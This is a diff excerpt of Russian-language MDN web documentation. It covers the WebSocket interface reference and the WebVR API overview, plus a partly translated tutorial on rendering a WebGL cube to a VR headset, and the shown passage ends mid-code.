bufferedAmountunsigned longКоличество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но еще не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать  {{ manch("send") }}, значение будет расти. Только чтение.
extensions{{ DOMXref("DOMString") }}Расширения, выбранные сервером. В настоящее время это только пустая строка или список расширений, согласованных соединением.
onclose{{ domxref("EventListener") }}Обработчик событий, вызываемый, когда readyState WebSocket соединения изменяется на CLOSED. Наблюдатель получает CloseEvent с именем "close".
onerror{{ domxref("EventListener") }} +

Обработчик событий, вызываемый, когда происходит ошибка. Это простое событие, называемое "error".

+
onmessage{{ domxref("EventListener") }} +

Обработчик событий , вызываемый, когда получается сообщение с сервера. Наблюдатель получает MessageEvent,  называемое "message".

+
onopen{{ domxref("EventListener") }} +

Наблюдатель событий, вызываемый, когда readyState WebSocket - соединения изменяется на OPEN; это показывает, что соединение готово отсылать и принимать данные. Это простое событие, называемое "open".

+
protocol{{ DOMXref("DOMString") }} +

Строка, обозначающая имя подпротокола выбранного сервера; это будет одной из строк, указываемой в параметре protocols при создании WebSocket - объекта.

+
readyStateunsigned short +

Текущее состояние подключения; это одно из {{ anch("Ready state constants") }}. Только для чтения.

+
url{{ DOMXref("DOMString") }} +

URL, создаваемый конструктором. Это всегда абсолютный URL. Только для чтения.

+
+ +

Константы

+ +

Константы состояния готовности

+ +

Эти константы используются аттрибутом readyState для описания состояния WebSocket - подключения

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаЗначениеОписание
CONNECTING0Соединение ещё не открыто.
OPEN1Соединение открыто и готово к обмену данными.
CLOSING2Соединение в процессе закрытия.
CLOSED3Соединение закрыто или не может открыться.
+ +

Mетоды

+ +

close()

+ +

Закрывает WebSocket - подключение или заканчивает попытку подключения. Если подключение уже закрыто, этот метод не делает ничего.

+ +
void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+
+ +
Параметры
+ +
+
code {{ optional_inline() }}
+
Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершен"). Смотрите list of status codes для CloseEvent, чтобы узнать разрешенные значения.
+
reason {{ optional_inline() }}
+
Читаемая человеком строка, объясняющая, почему подключение закрывается. Строка должна быть не длиннее, чем 123 байта UTF-8 текста (не символов). 
+
+ +
Возможные исключения
+ +
+
INVALID_ACCESS_ERR
+
Указан неверный code.
+
SYNTAX_ERR
+
Строка reason слишком длинные или содержит непарные суррогаты.
+
+ +
Заметки
+ +

В Gecko этот метод не поддерживает никакие параметры включительно до Gecko 8.0 {{ geckoRelease("8.0") }}.

+ +

send()

+ +

Передает данные на сервер через WebSocket - соединение.

+ +
void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+
+ +
Параметры
+ +
+
data
+
Текстовая строка, которая будет отправлена на сервер.
+
+ +
Возможные исключения
+ +
+
INVALID_STATE_ERR
+
Соединение еще не открыто.
+
SYNTAX_ERR
+
Строка data содержит непарные суррогаты
+
+ +
+

Заметьте: Gecko - реализация метода send() несколько отличается от специфицированной в {{Gecko("6.0")}}; Gecko возвращает boolean, обозначающий, открыто ли соединение до сих пор (и, в дополнение, были ли доставлены данные); это было исправлено в {{Gecko("8.0")}}.

+ +

Начиная с {{Gecko("11.0")}}, поддержка ArrayBuffer была реализована, но не {{ domxref("Blob") }} типы данных.

+
+ +

Спецификации

+ + + + + + + + + + + + +
 СпецификацияСтатус
{{SpecName("HTML WHATWG", "web-sockets.html#the-websocket-interface", "WebSocket")}}{{Spec2("HTML WHATWG")}}
+ +

Пример

+ +
// Создает WebSocket - подключение.
+const socket = new WebSocket('ws://localhost:8080');
+
+// Соединение открыто
+socket.addEventListener('open', function (event) {
+    socket.send('Hello Server!');
+});
+
+// Наблюдает за сообщениями
+socket.addEventListener('message', function (event) {
+    console.log('Message from server ', event.data);
+});
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.WebSocket")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html new file mode 100644 index 0000000000..ee513c37d0 --- /dev/null +++ b/files/ru/web/api/webvr_api/index.html @@ -0,0 +1,246 @@ +--- +title: WebVR API +slug: Web/API/WebVR_API +translation_of: Web/API/WebVR_API +--- +
{{SeeCompatTable}}{{APIRef("WebVR API")}}
+ +

WebVR обеспечивает поддержку для использования устройств виртуальной реальности — например, шлемы виртуальной реальности, таких как Oculus Rift или HTC Vive — для веб-приложений, позволяя разработчикам передавать  информацию о местоположении и движения с дисплея в движение вокруг 3D-сцены. Это имеет множество интересных приложений, от виртуальных туров продукта и интерактивных обучающих приложений до захватывающих игр от первого лица.

+ +

Концепция и использование

+ +

Любые VR-устройства, подключенные к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено  {{domxref("VRDisplay")}} объектом.

+ +

Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"

+ +

{{domxref("VRDisplay")}} является центральным интерфейсом в API WebVR - с помощью его свойств и методов вы получить доступ к функциям:

+ + + +

Типичное (простое) WebVR приложение будет работать так:

+ +
    +
  1. {{domxref("Navigator.getVRDisplays()")}} используется для получения ссылки на ваш VR-дисплей.
    2. +
  2. {{domxref("VRDisplay.requestPresent()")}} используется для начала представления на дисплей VR.
    3. +
  3. Выделенный {{domxref("VRDisplay.requestAnimationFrame()")}}  WebVR's используется для запуска цикла рендеринга приложения с правильной частотой обновления для отображения.
    4. +
  4. Внутри цикла рендеринга берутся данные, необходимые для отоброжения текущего кадра  ({{domxref("VRDisplay.getFrameData()")}}), дважды нарисуйте отображаемую сцену - один раз для просмотра в каждом глазу, затем отправьте отображаемый вид на дисплей, чтобы показать пользовотелю ({{domxref("VRDisplay.submitFrame()")}}).
    5. +
+ +

Кроме того, WebVR 1.1 добавляет ряд событий {{domxref("Window")}} объекту, чтобы JavaScript мог реагировать на изменения состояния дисплея.

+ +
+

Примечание: Вы можете найте намого больше о том, как работает API в Using the WebVR API и WebVR Concepts статьях.

+
+ +

Использование контроллеров: Объединение WebVR с API-интерфейсом геймпада

+ +

Многие аппаратные настройки WebVR оснащены контроллерами, которые сочетаются с гарнитурой. Они могут быть использованы в WebVR приложениях через Gamepad API, и, в частности, Gamepad расширения API, которые добавляют API функции для доступа к позе контроллера, haptic actuators, и многоe другое.

+ +
+

Примечание: Наша Using VR controllers with WebVR статья объясняет основы использования VR-контроллеров в приложениях WebVR.

+
+ +

WebVR Интерфейс

+ +
+
{{domxref("VRDisplay")}}
+
Представляет любое устройство VR, поддерживаемое этим API. VRDisplay включает в себя общую информацию, такую как идентификаторые устройств и  описания, а также методы для начала представления сцены VR, получения параметров глаз и возможностей отображения и других важных функций.
+
{{domxref("VRDisplayCapabilities")}}
+
описывает возможности {{domxref("VRDisplay")}} — его функции могут использоваться для тестирования возможностей устройства VR, например, может ли он возвращать информацию о местоположении.
+
{{domxref("VRDisplayEvent")}}
+
Возвращает объект события (event) связанного с WebVR-событием (см. {{anch("Window", "window object extensions")}} , перечисленны ниже).
+
{{domxref("VRFrameData")}}
+
Представляет всю информацию, необходимую для создания одного кадра сцены VR; созданный от  {{domxref("VRDisplay.getFrameData()")}}.
+
{{domxref("VRPose")}}
+
Предстовляет состояние позиции на заданной временой отметке (которая включает в себя ориентацию, положение, скорость и ускорение).
+
{{domxref("VREyeParameters")}}
+
Предоставляет доступ ко все информации, необзходимой для корректного отображения сцены для каждого задного глаза, включая информацию о поле зрения.
+
{{domxref("VRFieldOfView")}}
+
Представляет поле зрения, определенное четырьмя различными значениями степени, описывающими представление из центральной точки.
+
{{domxref("VRLayerInit")}}
+
Представляет слой, который должен быть представлен в {{domxref("VRDisplay")}}.
+
{{domxref("VRStageParameters")}}
+
Представляет значения, описывающие область сцены для устройств, поддерживающих опыт в помещении.
+
+ +

Расширения для других интерфейсов

+ +

WebVR API асширяет следующие API, добавляя перечисленные функции.

+ +

Геймпад

+ +
+
{{domxref("Gamepad.displayId")}} {{readonlyInline}}
+
Возвращает {{domxref("VRDisplay.displayId")}} связанного с  {{domxref("VRDisplay")}} — VRDisplay , которым гейпад управляет отображаемой сценой.
+
+ +

Навигатор

+ +
+
{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}
+
Возвращает массив, содержащий каждый {{domxref("VRDisplay")}} объект, который в настоящее время отображается ({{domxref("VRDisplay.ispresenting")}} является true).
+
{{domxref("Navigator.getVRDisplays()")}}
+
Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов,  представляющих любые доступные VR-дисплеи, подключенные к компьютеру.
+
+ +

Window события

+ +
+
{{domxref("Window.onvrdisplaypresentchange")}}
+
Представляет обработчик событий, который будет выполняться, при изменении состояния отображения VR-дисплея — т.е. идёт от отображения до неотображения, или наоброт (когда {{event("vrdisplaypresentchange")}} событие срабатывает).
+
{{domxref("Window.onvrdisplayconnect")}}
+
Представляет обработчик событий, который будет запускаться, когда к компьютеру подключен совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).
+
{{domxref("Window.onvrdisplaydisconnect")}}
+
Представляет обработчик событий, который будет зпускаться, когда совместимый VR-дисплей был отключён от компьютера (когда {{event("vrdisplaydisconnect")}} событие срабатывает).
+
{{domxref("Window.onvrdisplayactivate")}}
+
Представляет обработчик событий, который будет выполняться, когда дисплей может быть представлен (когда {{event("vrdisplayactivate")}}событие срабатывает), например, HMD (Head Mounted Display) был перемещён, чтобы вывести его из режима ожидания, или проснулся, будучи перемещенным.
+
{{domxref("Window.onvrdisplaydeactivate")}}
+
Представляет обработчик событий, который будет запускаться, когда дисплей больше не будет отображаться (когда {{event("vrdisplaydeactivate")}} событие срабатывает), например, HMD (Head Mounted Display) перешёл в режим ожидания или спящий режим из-за периода бездействия.
+
+ +

Невыполненные window события

+ +

Следующие события перечислены в спецификации, but do not currently seem to be implemented anywhere as yet.

+ +
+
{{domxref("Window.onvrdisplayblur")}}
+
Представляет обработчик событий, который будет выполняться, когда презентация на дисплей была преостановлена по какой-то причине в браузере, ОС или оборудованием VR (когда  {{event("vrdisplayblur")}} событие срабатывает) — например, в то время как пользователь взаимодействует с системным меню или браузером, чтобы предотвратить отслеживание или потерю опыта.
+
{{domxref("Window.onvrdisplayfocus")}}
+
Представляет обработчик событий, который будет выполняться, когда презентация на дисплей возобновляется после потери фокуса (когда {{event("vrdisplayfocus")}} событие срабатывает).
+
+ +

Примеры

+ +

Вы можете найти несколько примеров в этих местах:

+ + + +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("GamepadExtensions")}}{{Spec2("GamepadExtensions")}} +

Определяет Experimental Gamepad extensions.

+
{{SpecName('WebVR 1.1')}}{{Spec2('WebVR 1.1')}}Первоначальное определение
+ +

Совместимость с брауезерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatGeckoDesktop(55)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
Gamepad extensions{{CompatNo}}{{CompatNo}}{{CompatNo}}[3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileSamsung Internet for GearVR
Basic support{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
+  
Gamepad extensions{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[3]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Origin trials only.

+ +

[2] В настоящее время только в Windows и Mac OSX поддержка включена по умолчанию.

+ +

[3] Включено в Firefox Nightly и Beta, версии 55 и выше. Включено / отключено с помощью  dom.gamepad-extensions.enabled pref.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html new file mode 100644 index 0000000000..78aed3b7b7 --- /dev/null +++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html @@ -0,0 +1,440 @@ +--- +title: Использование WebVR API +slug: Web/API/WebVR_API/Using_the_WebVR_API +translation_of: Web/API/WebVR_API/Using_the_WebVR_API +--- +
{{APIRef("WebVR API")}}
+ +

WebVR API - фантастическое дополнение к набору инструментов веб-разработчика, позволяющее отображать WebGL сцены на устройствах виртуальной реальности, таких как Oculus Rift и HTC Vive. Но как же начать разработку VR для Веба? Эта статья познакомит Вас с основами.

+ +
+

Обратите внимание: Наиболее стабильная версия WebVR API — 1.1 — была недавно реализована в Firefox 55 (для Windows в релизной версии, для Mac OS X только в Nightly версии). Так же она доступна в Chrome при использовании Google Daydream. Существует спецификация для следующей версии — 2.0 — но процесс разработки всё ещё находится на ранней стадии. Последнюю информацию можно найти на WebVR Spec Version List.

+
+ +

С чего начать

+ +

Для начала Вам понадобится:

+ + + +

После того, как Вы всё подготовили, можете проверить всё ли работает как следует. Для этого надо открыть простой A-Frame пример и убедиться, что сцена отображается и что можно перейти в VR режим по нажатию на кнопку в правом нижнем углу.

+ +

Фреймворк A-Frame является лучшим вариантом, если Вы хотите быстро создать WebVR-совместимую сцену, не углубляясь в огромное количество JavaScript кода. Однако, пользуясь им, Вы не узнаете о работе с чистым WebVR API, а именно этим мы сейчас и займемся.

+ +

Introducing our demo

+ +

Рассмотрим как работает WebVR API на примере, проекте raw-webgl-example, который выглядит похожим образом:

+ +

+ +
+

Обратите внимание: Вы можете найти исходный код примера на GitHub, а так же посмотреть как он работает прямо в браузере.

+ +

Примечание: если Вы решили просто посмотреть на этот пример, не подключая VR устройство и не используя Firefox , то есть вероятность, что он не будет корректно отображаться при том, что простой A-Frame пример работает. В таком случае установите одну из последних версий Firefox, и пример должен отобразиться как на рисунке выше, плюс должна присутствовать анимация.

+
+ +
+

Обратите внимание: Если WebVR не работает в Вашем браузере, то возможно Вам следует убедиться, что работа идёт через видеокарту. Например, для видеокарт фирмы NVIDIA, если у Вас успешно установлена панель управления NVIDIA, по клику правой кнопки на ярлык Firefox появится контекстное меню, в котором можно будет выбрать Run with graphics processor > High-performance NVIDIA processor.

+
+ +

Наш пример это своеобразный святой Грааль примеров WebGL  — вращающийся куб в 3D. Реализован этот пример с помощью чистого WebGL API. Мы не будем объяснять основы JavaScript или WebGL, а только то, что касается WebVR.

+ +

Так же в нашем примере присутствуют:

+ + + +

При просмотре исходного кода основного JavaScript файла нашего примера, Вы легко сможете найти части, относящиеся к WebVR, по предваряющим их комментариям. Просто забейте в строку поиска по документу строчку "WebVR".

+ +
+

Обратите внимание: Чтобы узнать больше об основах JavaScript и WebGL, обратитесь к нашим учебным материалам по JavaScript и нашему руководству по WebGL.

+
+ +

Как это работает?

+ +

Пока что, давайте взглянем на части кода, связанные с WebVR.

+ +

Типичное (простое) WebVR приложение работает следующим образом:

+ +
    +
  1. {{domxref("Navigator.getVRDisplays()")}} используется для получения ссылки на ваше VR устройство.
    2. +
  2. {{domxref("VRDisplay.requestPresent()")}} используется для начала отображения сцены на VR устройстве.
    3. +
  3. {{domxref("VRDisplay.requestAnimationFrame()")}} используется при создании цикла отображения кадров анимации с правильной для выбранного устройства частотой обновления.
    4. +
  4. Внутри цикла сначала, для получения данных необходимых для отображения кадра, используется ({{domxref("VRDisplay.getFrameData()")}}). Затем сцена отрисовывается дважды (по разу для каждого глаза в соответствующей ему области видимости), а потом отображается с помощью функции ({{domxref("VRDisplay.submitFrame()")}}).
    5. +
+ +

In the below sections we'll look at our raw-webgl-demo in detail, and see where exactly the above features are used.

+ +

Starting with some variables

+ +

The first WebVR-related code you'll meet is this following block:

+ +
// WebVR variables
+
+var frameData = new VRFrameData();
+var vrDisplay;
+var btn = document.querySelector('.stop-start');
+var normalSceneFrame;
+var vrSceneFrame;
+
+var poseStatsBtn = document.querySelector('.pose-stats');
+var poseStatsSection = document.querySelector('section');
+poseStatsSection.style.visibility = 'hidden'; // hide it initially
+
+var posStats = document.querySelector('.pos');
+var orientStats = document.querySelector('.orient');
+var linVelStats = document.querySelector('.lin-vel');
+var linAccStats = document.querySelector('.lin-acc');
+var angVelStats = document.querySelector('.ang-vel');
+var angAccStats = document.querySelector('.ang-acc');
+var poseStatsDisplayed = false;
+ +

Let's briefly explain these:

+ + + +

Getting a reference to our VR display

+ +

One of the major functions inside our code is start() — we run this function when the body has finished loading:

+ +
// start
+//
+// Called when the body has loaded is created to get the ball rolling.
+
+document.body.onload = start;
+ +

To begin with, start() retrieves a WebGL context to use to render 3D graphics into the {{htmlelement("canvas")}} element in our HTML. We then check whether the gl context is available — if so, we run a number of functions to set up the scene for display.

+ +
function start() {
+  canvas = document.getElementById("glcanvas");
+
+  initWebGL(canvas);      // Initialize the GL context
+
+  // WebGL setup code here
+ +

Next, we start the process of actually rendering the scene onto the canvas, by setting the canvas to fill the entire browser viewport, and running the rendering loop (drawScene()) for the first time. This is the non-WebVR — normal — rendering loop.

+ +
    // draw the scene normally, without WebVR - for those who don't have it and want to see the scene in their browser
+
+    canvas.width = window.innerWidth;
+    canvas.height = window.innerHeight;
+    drawScene();
+ +

Now onto our first WebVR-specific code. First of all, we check to see if {{domxref("Navigator.getVRDisplays")}} exists — this is the entry point into the API, and therefore good basic feature detection for WebVR. You'll see at the end of the block (inside the else clause) that if this doesn't exist, we log a message to indicate that WebVR 1.1 isn't supported by the browser.

+ +
    // WebVR: Check to see if WebVR is supported
+    if(navigator.getVRDisplays) {
+      console.log('WebVR 1.1 supported');
+ +

Inside our if() { ... } block, we run the {{domxref("Navigator.getVRDisplays()")}} function. This returns a promise, which is fulfilled with an array containing all the VR display devices connected to the computer. If none are connected, the array will be empty.

+ +
      // Then get the displays attached to the computer
+      navigator.getVRDisplays().then(function(displays) {
+ +

Inside the promise then() block, we check whether the array length is more than 0; if so, we set the value of our vrDisplay variable to the 0 index item inside the array. vrDisplay now contains a {{domxref("VRDisplay")}} object representing our connected display!

+ +
        // If a display is available, use it to present the scene
+        if(displays.length > 0) {
+          vrDisplay = displays[0];
+          console.log('Display found');
+ +
+

Note: It is unlikely that you'll have multiple VR displays connected to your computer, and this is just a simple demo, so this will do for now.

+
+ +

Starting and stopping the VR presentation

+ +

Now we have a {{domxref("VRDisplay")}} object, we can use it do a number of things. The next thing we want to do is wire up functionality to start and stop presentation of the WebGL content to the display.

+ +

Continuing on with the previous code block, we now add an event listener to our start/stop button (btn) — when this button is clicked we want to check whether we are presenting to the display already (we do this in a fairly dumb fashion, by checking what the button textContent contains).

+ +

If the display is not already presenting, we use the {{domxref("VRDisplay.requestPresent()")}} method to request that the browser start presenting content to the display. This takes as a parameter an array of the {{domxref("VRLayerInit")}} objects representing the layers you want to present in the display.

+ +

Since the maximum number of layers you can display is currently 1, and the only required object member is the {{domxref("VRLayerInit.source")}} property (which is a reference to the {{htmlelement("canvas")}} you want to present in that layer; the other parameters are given sensible defaults — see {{domxref("VRLayerInit.leftBounds", "leftBounds")}} and {{domxref("VRLayerInit.rightBounds", "rightBounds")}})), the parameter is simply [{ source: canvas }].

+ +

requestPresent() returns a promise that is fulfilled when the presentation begins successfully.

+ +
          // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+          btn.addEventListener('click', function() {
+            if(btn.textContent === 'Start VR display') {
+              vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+                console.log('Presenting to WebVR display');
+ +

With our presentation request successful, we now want to start setting up to render content to present to the VRDisplay. First of all we set the canvas to the same size as the VR display area. We do this by getting the {{domxref("VREyeParameters")}} for both eyes using {{domxref("VRDisplay.getEyeParameters()")}}.

+ +

We then do some simple math to calculate the total width of the VRDisplay rendering area based on the eye {{domxref("VREyeParameters.renderWidth")}} and {{domxref("VREyeParameters.renderHeight")}}.

+ +
                // Set the canvas size to the size of the vrDisplay viewport
+
+                var leftEye = vrDisplay.getEyeParameters('left');
+                var rightEye = vrDisplay.getEyeParameters('right');
+
+                canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+                canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+ +

Next, we {{domxref("Window.cancelAnimationFrame()", "cancel the animation loop")}} previously set in motion by the {{domxref("Window.requestAnimationFrame()")}} call inside the drawScene() function, and instead invoke drawVRScene(). This function renders the same scene as before, but with some special WebVR magic going on. The loop inside here is maintained by WebVR's special {{domxref("VRDisplay.requestAnimationFrame")}} method.

+ +
                // stop the normal presentation, and start the vr presentation
+                window.cancelAnimationFrame(normalSceneFrame);
+                drawVRScene();
+ +

Finally, we update the button text so that the next time it is pressed, it will stop presentation to the VR display.

+ +
                btn.textContent = 'Exit VR display';
+              });
+ +


+ To stop the VR presentation when the button is subsequently pressed, we call {{domxref("VRDisplay.exitPresent()")}}. We also reverse the button's text content, and swap over the requestAnimationFrame calls. You can see here that we are using {{domxref("VRDisplay.cancelAnimationFrame")}} to stop the VR rendering loop, and starting the normal rendering loop off again by calling drawScene().

+ +
            } else {
+              vrDisplay.exitPresent();
+              console.log('Stopped presenting to WebVR display');
+
+              btn.textContent = 'Start VR display';
+
+              // Stop the VR presentation, and start the normal presentation
+              vrDisplay.cancelAnimationFrame(vrSceneFrame);
+              drawScene();
+            }
+          });
+        }
+      });
+    } else {
+      console.log('WebVR API not supported by this browser.');
+    }
+  }
+}
+ +

Once the presentation starts, you'll be able to see the stereoscopic view displayed in the browser:

+ +

+ +

You'll learn below how the stereoscopic view is actually produced.

+ +

Why does WebVR have its own requestAnimationFrame()?

+ +

This is a good question. The reason is that for smooth rendering inside the VR display, you need to render the content at the display's native refresh rate, not that of the computer. VR display refresh rates are greater than PC refresh rates, typically up to 90fps. The rate will be differ from the computer's core refresh rate.

+ +

Note that when the VR display is not presenting, {{domxref("VRDisplay.requestAnimationFrame")}} runs identically to {{domxref("Window.requestAnimationFrame")}}, so if you wanted, you could just use a single rendering loop, rather than the two we are using in our app. We have used two because we wanted to do slightly different things depending on whether the VR display is presenting or not, and keep things separated for ease of comprehension.

+ +

Rendering and display

+ +

At this point, we've seen all the code required to access the VR hardware, request that we present our scene to the hardware, and start running the rending loop. Let's now look at the code for the rendering loop, and explain how the WebVR-specific parts of it work.

+ +

First of all, we begin the definition of our rendering loop function — drawVRScene(). The first thing we do inside here is make a call to {{domxref("VRDisplay.requestAnimationFrame()")}} to keep the loop running after it has been called once (this occurred earlier on in our code when we started presenting to the VR display). This call is set as the value of the global vrSceneFrame variable, so we can cancel the loop with a call to {{domxref("VRDisplay.cancelAnimationFrame()")}} once we exit VR presenting.

+ +
function drawVRScene() {
+  // WebVR: Request the next frame of the animation
+  vrSceneFrame = vrDisplay.requestAnimationFrame(drawVRScene);
+ +

Next, we call {{domxref("VRDisplay.getFrameData()")}}, passing it the name of the variable that we want to use to contain the frame data. We initialized this earlier on — frameData. After the call completes, this variable will contain the data need to render the next frame to the VR device, packaged up as a {{domxref("VRFrameData")}} object. This contains things like projection and view matrices for rendering the scene correctly for the left and right eye view, and the current {{domxref("VRPose")}} object, which contains data on the VR display such as orientation, position, etc.

+ +

This has to be called on every frame so the rendered view is always up-to-date.

+ +
  // Populate frameData with the data of the next frame to display
+  vrDisplay.getFrameData(frameData);
+ +

Now we retrieve the current {{domxref("VRPose")}} from the {{domxref("VRFrameData.pose")}} property, store the position and orientation for use later on, and send the current pose to the pose stats box for display, if the poseStatsDisplayed variable is set to true.

+ +
  // You can get the position, orientation, etc. of the display from the current frame's pose
+
+  var curFramePose = frameData.pose;
+  var curPos = curFramePose.position;
+  var curOrient = curFramePose.orientation;
+  if(poseStatsDisplayed) {
+    displayPoseStats(curFramePose);
+  }
+ +

  We now clear the canvas before we start drawing on it, so that the next frame is clearly seen, and we don't also see previous rendered frames:

+ +
  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+ +

We now render the view for both the left and right eyes. First of all we need to create projection and view locations for use in the rendering. these are {{domxref("WebGLUniformLocation")}} objects, created using the {{domxref("WebGLRenderingContext.getUniformLocation()")}} method, passing it the shader program's identifier and an identifying name as parameters.

+ +
  // WebVR: Create the required projection and view matrix locations needed
+  // for passing into the uniformMatrix4fv methods below
+
+  var projectionMatrixLocation = gl.getUniformLocation(shaderProgram, "projMatrix");
+  var viewMatrixLocation = gl.getUniformLocation(shaderProgram, "viewMatrix");
+ +

The next rendering step involves:

+ + + +
  // WebVR: Render the left eye’s view to the left half of the canvas
+  gl.viewport(0, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.leftProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.leftViewMatrix);
+  drawGeometry();
+ +

We now do exactly the same thing, but for the right eye:

+ +
  // WebVR: Render the right eye’s view to the right half of the canvas
+  gl.viewport(canvas.width * 0.5, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.rightProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.rightViewMatrix);
+  drawGeometry();
+ +

Next we define our drawGeometry() function. Most of this is just general WebGL code required to draw our 3D cube. You'll see some WebVR-specific parts in the mvTranslate() and mvRotate() function calls — these pass matrices into the WebGL program that define the translation and rotation of the cube for the current frame

+ +

You'll see that we are modifying these values by the position (curPos) and orientation (curOrient) of the VR display we got from the {{domxref("VRPose")}} object. The result is that, for example, as you move or rotate your head left, the x position value (curPos[0]) and y rotation value ([curOrient[1]) are added to the x translation value, meaning that the cube will move to the right, as you'd expect when you are looking at something and then move/turn your head left.

+ +

This is a quick and dirty way to use VR pose data, but it illustrates the basic principle.

+ +
  function drawGeometry() {
+    // Establish the perspective with which we want to view the
+    // scene. Our field of view is 45 degrees, with a width/height
+    // ratio of 640:480, and we only want to see objects between 0.1 units
+    // and 100 units away from the camera.
+
+    perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+    // Set the drawing position to the "identity" point, which is
+    // the center of the scene.
+
+    loadIdentity();
+
+    // Now move the drawing position a bit to where we want to start
+    // drawing the cube.
+
+    mvTranslate([
+                  0.0 - (curPos[0] * 25) + (curOrient[1] * 25),
+                  5.0 - (curPos[1] * 25) - (curOrient[0] * 25),
+                  -15.0 - (curPos[2] * 25)
+               ]);
+
+    // Save the current matrix, then rotate before we draw.
+
+    mvPushMatrix();
+    mvRotate(cubeRotation, [0.25, 0, 0.25 - curOrient[2] * 0.5]);
+
+    // Draw the cube by binding the array buffer to the cube's vertices
+    // array, setting attributes, and pushing it to GL.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesBuffer);
+    gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+
+    // Set the texture coordinates attribute for the vertices.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+    gl.vertexAttribPointer(textureCoordAttribute, 2, gl.FLOAT, false, 0, 0);
+
+    // Specify the texture to map onto the faces.
+
+    gl.activeTexture(gl.TEXTURE0);
+    gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+    gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+
+    // Draw the cube.
+
+    gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+    setMatrixUniforms();
+    gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+    // Restore the original matrix
+
+    mvPopMatrix();
+  }
+
+ +

The next bit of the code has nothing to do with WebVR — it just updates the rotation of the cube on each frame:

+ +
  // Update the rotation for the next draw, if it's time to do so.
+
+  var currentTime = (new Date).getTime();
+  if (lastCubeUpdateTime) {
+    var delta = currentTime - lastCubeUpdateTime;
+
+    cubeRotation += (30 * delta) / 1000.0;
+  }
+
+  lastCubeUpdateTime = currentTime;
+ +

The last part of the rendering loop involves us calling {{domxref("VRDisplay.submitFrame()")}} — now all the work has been done and we've rendered the display on the {{htmlelement("canvas")}}, this method then submits the frame to the VR display so it is displayed on there as well.

+ +
  // WebVR: Indicate that we are ready to present the rendered frame to the VR display
+  vrDisplay.submitFrame();
+}
+ +

Displaying the pose (position, orientation, etc.) data

+ +

In this section we'll discuss the displayPoseStats() function, which displays our updated pose data on each frame. The function is fairly simple.

+ +

First of all, we store the six different property values obtainable from the {{domxref("VRPose")}} object in their own variables — each one is a {{domxref("Float32Array")}}.

+ +
function displayPoseStats(pose) {
+  var pos = pose.position;
+  var orient = pose.orientation;
+  var linVel = pose.linearVelocity;
+  var linAcc = pose.linearAcceleration;
+  var angVel = pose.angularVelocity;
+  var angAcc = pose.angularAcceleration;
+ +

We then write out the data into the information box, updating it on every frame. We've clamped each value to three decimal places using toFixed(), as the values are hard to read otherwise.

+ +

You should note that we've used a conditional expression to detect whether the linear acceleration and angular acceleration arrays are successfully returned before we display the data. These values are not reported by most VR hardware as yet, so the code would throw an error if we did not do this (the arrays return null if they are not successfully reported).

+ +
  posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
